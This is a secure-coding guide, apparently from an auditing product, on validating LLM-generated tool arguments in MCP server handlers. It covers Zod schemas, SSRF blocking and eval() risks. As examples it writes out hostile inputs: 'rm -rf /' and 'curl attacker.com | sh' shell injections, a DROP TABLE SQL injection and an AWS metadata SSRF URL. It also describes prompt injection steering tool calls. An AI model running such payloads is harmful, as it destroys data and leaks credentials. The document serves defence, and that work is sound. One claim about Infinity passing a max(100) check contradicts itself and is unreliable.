Topic: request input validation in MCP server handlers
Request Input Validation in MCP Server Handlers
A common misconception in MCP server development is that because the LLM generates tool call arguments, those arguments can be treated as trusted. They cannot. The LLM is a trust boundary, not a trust anchor — its outputs can be influenced by prompt injection attacks in retrieved content, by jailbreaks, or simply by hallucination producing values outside the expected schema. Input validation at the tool handler boundary is the last line of defense before attacker-controlled values reach filesystem, network, or subprocess calls.
Why LLM arguments still need validation
The MCP protocol itself passes tool arguments as a JSON object with the shape defined in the tool's JSON Schema definition. The SDK validates that the argument object is structurally valid JSON, but it does not validate business-logic constraints: that a URL argument uses https://, that a file path argument does not contain ../, that an integer argument is within a safe range, or that a string argument does not contain SQL injection or shell metacharacters.
The tool's JSON Schema in the inputSchema field provides documentation to the LLM about what arguments to provide. It does not enforce server-side validation — that is the tool handler's responsibility. Assume the SDK gives you the argument object as-is, and validate every field before using it.
Three concrete attack scenarios where unvalidated LLM arguments cause real harm:
- A web scraping tool with a
urlargument that acceptshttp://169.254.169.254/latest/meta-data/— the AWS instance metadata endpoint — causing SSRF that leaks IAM credentials - A shell command tool with an
argsargument where an injected value adds; rm -rf /or&& curl attacker.com | sh - A database query tool with a
tableargument containingusers; DROP TABLE users; --
Zod schema validation for tool arguments
Zod is the de facto standard for runtime schema validation in TypeScript MCP servers. Define a Zod schema for each tool's arguments and call .parse() or .safeParse() at the top of every tool handler — before any other logic runs.
import { z } from 'zod';
import { McpError, ErrorCode } from '@modelcontextprotocol/sdk/types.js';
// Tool: fetch a URL and return its text content
// Without URL validation, this is a SSRF vector.
const FetchUrlSchema = z.object({
url: z
.string()
.url('url must be a valid URL')
// Only allow https:// — blocks file://, http://, ftp://, data: etc.
.regex(/^https:\/\//, 'url must use https')
// Block private IP ranges and localhost (SSRF prevention)
.refine((u) => {
const { hostname } = new URL(u);
// Block localhost variants
if (/^localhost$/i.test(hostname) || hostname === '127.0.0.1' || hostname === '::1') {
return false;
}
// Block link-local (AWS metadata, Azure IMDS, GCP metadata)
if (/^169\.254\./.test(hostname)) return false;
// Block RFC1918 private ranges
if (/^10\./.test(hostname)) return false;
if (/^172\.(1[6-9]|2\d|3[01])\./.test(hostname)) return false;
if (/^192\.168\./.test(hostname)) return false;
return true;
}, 'url hostname is not in the allowed public IP range'),
maxBytes: z.number().int().min(1).max(5_000_000).default(500_000),
timeoutMs: z.number().int().min(100).max(30_000).default(10_000),
});
server.setRequestHandler(CallToolRequestSchema, async (request) => {
if (request.params.name === 'fetch_url') {
// Parse and validate — throws McpError on failure
const parsed = FetchUrlSchema.safeParse(request.params.arguments);
if (!parsed.success) {
throw new McpError(
ErrorCode.InvalidParams,
`Invalid arguments: ${parsed.error.issues.map(i => i.message).join('; ')}`
);
}
const { url, maxBytes, timeoutMs } = parsed.data;
// Now url is guaranteed to be an https:// URL on a public host
const resp = await fetch(url, {
signal: AbortSignal.timeout(timeoutMs),
});
const text = await resp.text();
const truncated = text.length > maxBytes
? text.slice(0, maxBytes) + `\n[truncated at ${maxBytes} bytes]`
: text;
return { content: [{ type: 'text', text: truncated }] };
}
});
The .refine() validator on the URL argument is the SSRF prevention layer. Without it, a Zod z.string().url() check accepts http://169.254.169.254/latest/meta-data/ as a syntactically valid URL — it is; the threat is semantic, not structural.
Type coercion risks in schema definitions
Zod's default parsing behavior does not coerce types — z.number() rejects the string "42". However, developers sometimes add z.coerce.number() (or use Zod's legacy .transform()) to handle LLM-provided arguments that come through as strings. Type coercion creates bypass paths:
z.coerce.number().max(100)— the coercion step converts"1e308"toInfinity, which is greater than 100 butInfinity > 100returnstrue. The.max()check with numeric coercion passes forInfinityif not explicitly handled.z.coerce.boolean()converts any non-empty string, including"false", totrue. If anadminModeflag uses coercion, an LLM-provided"false"string evaluates astrue.- Integer overflow:
z.coerce.number().int()does not prevent9007199254740993(Number.MAX_SAFE_INTEGER + 1), which loses precision due to floating-point representation and may bypass range checks.
Prefer strict non-coercing validators. If the LLM consistently sends numbers as strings, add a single explicit .transform() step that converts and then validates the converted value — do not use z.coerce on security-relevant fields.
The danger of eval() and Function() on LLM-provided strings
Some MCP servers expose a "code execution" tool that accepts a code string argument and evaluates it. Even with sandboxing intent, running eval(userCode) or new Function(userCode)() with an LLM-provided string in the same Node.js process as the MCP server is a complete sandbox escape. The LLM's code runs with full access to the Node.js module system, require(), process.env, and all file I/O. Prompt-injected instructions can exfiltrate secrets through the eval() vector even if every other tool is properly validated.
If code execution is a required capability, use an isolated subprocess with a separate Node.js process with --disable-proto=delete and a restrictive seccomp profile, or a dedicated sandbox like vm2 (deprecated but indicative of the isolation level needed) or a gVisor/WASM-based execution environment. Never eval() in the MCP server process itself.
What SkillAudit checks
The security axis checks for unvalidated input patterns in tool handlers:
- Tool handler with no schema validation on arguments — HIGH; LLM-controlled values reach backend calls without type or constraint checking
- URL argument without SSRF prevention refine — HIGH; fetch/http calls with unvalidated URLs are SSRF vectors
- eval() or new Function() with argument-derived string — CRITICAL; full process compromise from prompt injection
- z.coerce on security-relevant numeric fields — WARN; coercion creates bypass paths for range checks
- Missing required field validation (optional fields used without null checks) — WARN; runtime TypeErrors on undefined optional values
See also
- MCP server SSRF — detailed coverage of SSRF vectors in MCP tool handlers
- MCP server input sanitization — sanitizing validated inputs before use in commands and queries
- MCP server OWASP Top 10 — injection and validation failures in the full threat model
Check your tool handlers for missing input validation before a prompt injection finds them first.
Run a free audit → How grading works →